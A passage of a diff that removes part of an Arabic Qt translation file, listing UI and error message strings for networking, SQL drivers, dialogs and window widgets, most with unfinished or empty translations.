- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="-89"/>
- <source>Did not receive HTTP response from proxy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+25"/>
- <source>Error parsing authentication request from proxy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <source>Authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Proxy denied connection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Error communicating with HTTP proxy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Proxy server not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Proxy connection refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Proxy server connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Proxy connection closed prematurely</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QIBaseDriver</name>
- <message>
- <location filename="../src/sql/drivers/ibase/qsql_ibase.cpp" line="+1428"/>
- <source>Error opening database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+54"/>
- <source>Could not start transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QIBaseResult</name>
- <message>
- <location line="-1097"/>
- <source>Unable to create BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to write BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Unable to open BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Unable to read BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+125"/>
- <location line="+189"/>
- <source>Could not find array</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-157"/>
- <source>Could not get array data</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+212"/>
- <source>Could not get query info</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Could not start transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Could not allocate statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Could not prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <location line="+7"/>
- <source>Could not describe input statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Could not describe statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+115"/>
- <source>Unable to close statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Unable to execute query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+46"/>
- <source>Could not fetch next item</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+160"/>
- <source>Could not get statement info</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QIODevice</name>
- <message>
- <location filename="../src/corelib/global/qglobal.cpp" line="+1869"/>
- <source>Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Too many open files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>No such file or directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>No space left on device</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/io/qiodevice.cpp" line="+1536"/>
- <source>Unknown error</source>
- <translation type="unfinished">خطأ مجهول</translation>
- </message>
-</context>
-<context>
- <name>QInputContext</name>
- <message>
- <location filename="../src/gui/inputmethod/qinputcontextfactory.cpp" line="+242"/>
- <source>XIM</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>XIM input method</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Windows input method</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Mac OS X input method</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QInputDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qinputdialog.cpp" line="+223"/>
- <source>Enter a value:</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QLibrary</name>
- <message>
- <location filename="../src/corelib/plugin/qlibrary.cpp" line="+378"/>
- <source>Could not mmap &apos;%1&apos;: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+22"/>
- <source>Plugin verification data mismatch in &apos;%1&apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Could not unmap &apos;%1&apos;: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+302"/>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+340"/>
- <source>Unknown error</source>
- <translation type="unfinished">خطأ مجهول</translation>
- </message>
- <message>
- <location line="-377"/>
- <location filename="../src/corelib/plugin/qpluginloader.cpp" line="+280"/>
- <source>The shared library was not found.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>The file &apos;%1&apos; is not a valid Qt plugin.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+43"/>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/plugin/qlibrary_unix.cpp" line="+209"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+99"/>
- <source>Cannot load library %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+26"/>
- <source>Cannot unload library %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+15"/>
- <source>Cannot resolve symbol &quot;%1&quot; in %2: %3</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QLineEdit</name>
- <message>
- <location filename="../src/gui/widgets/qlineedit.cpp" line="+2680"/>
- <source>&amp;Undo</source>
- <translation type="unfinished">&amp;تراجع</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Redo</source>
- <translation type="unfinished">إ&amp;عادة</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Cu&amp;t</source>
- <translation type="unfinished">&amp;قصّ</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Copy</source>
- <translation type="unfinished">&amp;نسخ</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Paste</source>
- <translation type="unfinished">ت&amp;لصيق</translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Select All</source>
- <translation type="unfinished">انتقاء الجميع</translation>
- </message>
- <message>
- <location line="-6"/>
- <source>Delete</source>
- <translation type="unfinished">حذف</translation>
- </message>
-</context>
-<context>
- <name>QLocalServer</name>
- <message>
- <location filename="../src/network/socket/qlocalserver.cpp" line="+226"/>
- <location filename="../src/network/socket/qlocalserver_unix.cpp" line="+231"/>
- <source>%1: Name error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/socket/qlocalserver_unix.cpp" line="-8"/>
- <source>%1: Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>%1: Address in use</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <location filename="../src/network/socket/qlocalserver_win.cpp" line="+158"/>
- <source>%1: Unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QLocalSocket</name>
- <message>
- <location filename="../src/network/socket/qlocalsocket_tcp.cpp" line="+132"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+134"/>
- <source>%1: Connection refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Remote closed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="+80"/>
- <location line="+43"/>
- <source>%1: Invalid name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Socket access error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Socket resource error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Socket operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Datagram too large</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="-48"/>
- <source>%1: Connection error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: The socket operation is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1: Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+4"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="+10"/>
- <source>%1: Unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMYSQLDriver</name>
- <message>
- <location filename="../src/sql/drivers/mysql/qsql_mysql.cpp" line="+1231"/>
- <source>Unable to open database &apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+127"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMYSQLResult</name>
- <message>
- <location line="-922"/>
- <source>Unable to fetch data</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+176"/>
- <source>Unable to execute query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to store result</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+190"/>
- <location line="+8"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>Unable to reset statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+87"/>
- <source>Unable to bind value</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <location line="+21"/>
- <source>Unable to bind outvalues</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-12"/>
- <source>Unable to store statement results</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-253"/>
- <source>Unable to execute next query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Unable to store next result</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMdiArea</name>
- <message>
- <location filename="../src/gui/widgets/qmdiarea.cpp" line="+290"/>
- <source>(Untitled)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMdiSubWindow</name>
- <message>
- <location filename="../src/gui/widgets/qmdisubwindow.cpp" line="+280"/>
- <source>%1 - [%2]</source>
- <translation type="unfinished">%1 - [%2]</translation>
- </message>
- <message>
- <location line="+72"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="-18"/>
- <source>Minimize</source>
- <translation type="unfinished">تصغير</translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Restore Down</source>
- <translation type="unfinished">استعاد في الأسفل</translation>
- </message>
- <message>
- <location line="+707"/>
- <source>&amp;Restore</source>
- <translation type="unfinished">ا&amp;ستعاد</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;Move</source>
- <translation type="unfinished">&amp;تحريك</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Size</source>
- <translation type="unfinished">ال&amp;حجم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Mi&amp;nimize</source>
- <translation type="unfinished">ت&amp;صغير</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Ma&amp;ximize</source>
- <translation type="unfinished">ت&amp;كبير</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Stay on &amp;Top</source>
- <translation type="unfinished">ال&amp;بقاء في الأمام</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;Close</source>
- <translation type="unfinished">إ&amp;غلاق</translation>
- </message>
- <message>
- <location line="-787"/>
- <source>- [%1]</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+58"/>
- <source>Maximize</source>
- <translation type="unfinished">تكبير</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unshade</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Shade</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Restore</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Help</source>
- <translation type="unfinished">مساعدة</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Menu</source>
- <translation type="unfinished">قائمة الخيارات</translation>
- </message>
-</context>
-<context>
- <name>QMenu</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/qaccessiblemenu.cpp" line="+157"/>
- <location line="+225"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="-224"/>
- <location line="+225"/>
- <source>Open</source>
- <translation type="unfinished">فتح</translation>
- </message>
- <message>
- <location line="-223"/>
- <location line="+225"/>
- <location line="+51"/>
- <source>Execute</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMenuBar</name>
- <message>
- <source>About</source>
- <translation type="obsolete">حول</translation>
- </message>
- <message>
- <source>Config</source>
- <translation type="obsolete">تشكيل</translation>
- </message>
- <message>
- <source>Preference</source>
- <translation type="obsolete">تفضيل</translation>
- </message>
- <message>
- <source>Options</source>
- <translation type="obsolete">خيارات</translation>
- </message>
- <message>
- <source>Setting</source>
- <translation type="obsolete">ضبط</translation>
- </message>
- <message>
- <source>Setup</source>
- <translation type="obsolete">إعداد</translation>
- </message>
- <message>
- <source>Quit</source>
- <translation type="obsolete">إنتهاء</translation>
- </message>
- <message>
- <source>Exit</source>
- <translation type="obsolete">خروج</translation>
- </message>
-</context>
-<context>
- <name>QMessageBox</name>
- <message>
- <location filename="../src/gui/dialogs/qmessagebox.cpp" line="-1964"/>
- <location line="+852"/>
- <location filename="../src/gui/dialogs/qmessagebox.h" line="-52"/>
- <location line="+8"/>
- <source>OK</source>
- <translation>موافقة</translation>
- </message>
- <message>
- <location line="+509"/>
- <source>About Qt</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-508"/>
- <source>Help</source>
- <translation type="unfinished">مساعدة</translation>
- </message>
- <message>
- <location line="-1097"/>
- <source>Show Details...</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Hide Details...</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1570"/>
- <source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMultiInputContext</name>
- <message>
- <location filename="../src/plugins/inputmethods/imsw-multi/qmultiinputcontext.cpp" line="+88"/>
- <source>Select IM</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMultiInputContextPlugin</name>
- <message>
- <location filename="../src/plugins/inputmethods/imsw-multi/qmultiinputcontextplugin.cpp" line="+95"/>
- <source>Multiple input method switcher</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Multiple input method switcher that uses the context menu of the text widgets</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNativeSocketEngine</name>
- <message>
- <location filename="../src/network/socket/qnativesocketengine.cpp" line="+206"/>
- <source>The remote host closed the connection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Network operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Out of resources</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unsupported socket operation</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Protocol type not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Invalid socket descriptor</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Network unreachable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Connection refused</source>
- <translation type="unfinished">رفض الوصل</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The bound address is already in use</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The address is not available</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The address is protected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to send a message</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unable to receive a message</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unable to write</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Network error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Another socket is already listening on the same port</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-66"/>
- <source>Unable to initialize non-blocking socket</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unable to initialize broadcast socket</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Attempt to use IPv6 socket on a platform with no IPv6 support</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+21"/>
- <source>Host unreachable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+24"/>
- <source>Datagram was too large to send</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Operation on non-socket</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unknown error</source>
- <translation type="unfinished">خطأ مجهول</translation>
- </message>
- <message>
- <location line="-3"/>
- <source>The proxy type is invalid for this operation</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessCacheBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccesscachebackend.cpp" line="+65"/>
- <source>Error opening %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessFileBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccessfilebackend.cpp" line="+99"/>
- <source>Request for opening non-local file %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+42"/>
- <source>Error opening %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+56"/>
- <source>Write error writing to %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Cannot open %1: Path is a directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+21"/>
- <source>Read error reading from %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessFtpBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccessftpbackend.cpp" line="+165"/>
- <source>No suitable proxy found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Cannot open %1: is a directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+130"/>
- <source>Logging in to %1 failed: authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+39"/>
- <source>Error while downloading %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Error while uploading %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessHttpBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccesshttpbackend.cpp" line="+597"/>
- <source>No suitable proxy found</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkReply</name>
- <message>
- <location line="+128"/>
- <source>Error downloading %1 - server replied: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/access/qnetworkreplyimpl.cpp" line="+68"/>
- <source>Protocol &quot;%1&quot; is unknown</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkReplyImpl</name>
- <message>
- <location line="+432"/>
- <location line="+22"/>
- <source>Operation canceled</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QOCIDriver</name>
- <message>
- <location filename="../src/sql/drivers/oci/qsql_oci.cpp" line="+2069"/>
- <source>Unable to logon</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-144"/>
- <source>Unable to initialize</source>
- <comment>QOCIDriver</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+215"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QOCIResult</name>
- <message>
- <location line="-963"/>
- <location line="+161"/>
- <location line="+15"/>
- <source>Unable to bind column for batch execute</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to execute batch statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+302"/>
- <source>Unable to goto next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+59"/>
- <source>Unable to alloc statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+36"/>
- <source>Unable to bind value</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QODBCDriver</name>
- <message>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="+1785"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to connect - Driver doesn&apos;t support all needed functionality</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+242"/>
- <source>Unable to disable autocommit</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to enable autocommit</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QODBCResult</name>
- <message>
- <location line="-1218"/>
- <location line="+349"/>
- <source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-332"/>
- <location line="+626"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-555"/>
- <source>Unable to fetch next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+279"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+268"/>
- <source>Unable to bind variable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/sql/drivers/db2/qsql_db2.cpp" line="+194"/>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="-475"/>
- <location line="+578"/>
- <source>Unable to fetch last</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="-672"/>
- <source>Unable to fetch</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+44"/>
- <source>Unable to fetch first</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to fetch previous</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QObject</name>
- <message>
- <location filename="../src/gui/util/qdesktopservices_mac.cpp" line="+165"/>
- <source>Home</source>
- <translation type="unfinished">منزل</translation>
- </message>
- <message>
- <location filename="../src/network/access/qnetworkaccessdatabackend.cpp" line="+74"/>
- <source>Operation not supported on %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+53"/>
- <source>Invalid URI: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/access/qnetworkaccessdebugpipebackend.cpp" line="+175"/>
- <source>Write error writing to %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+57"/>
- <source>Read error reading from %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <source>Socket error on %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Remote host closed the connection prematurely on %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+53"/>
- <source>Protocol error: packet of size 0 received</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/kernel/qhostinfo.cpp" line="+177"/>
- <location line="+57"/>
- <source>No host name given</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPPDOptionsModel</name>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="+1195"/>
- <source>Name</source>
- <translation type="unfinished">الإسم</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Value</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPSQLDriver</name>
- <message>
- <location filename="../src/sql/drivers/psql/qsql_psql.cpp" line="+763"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+49"/>
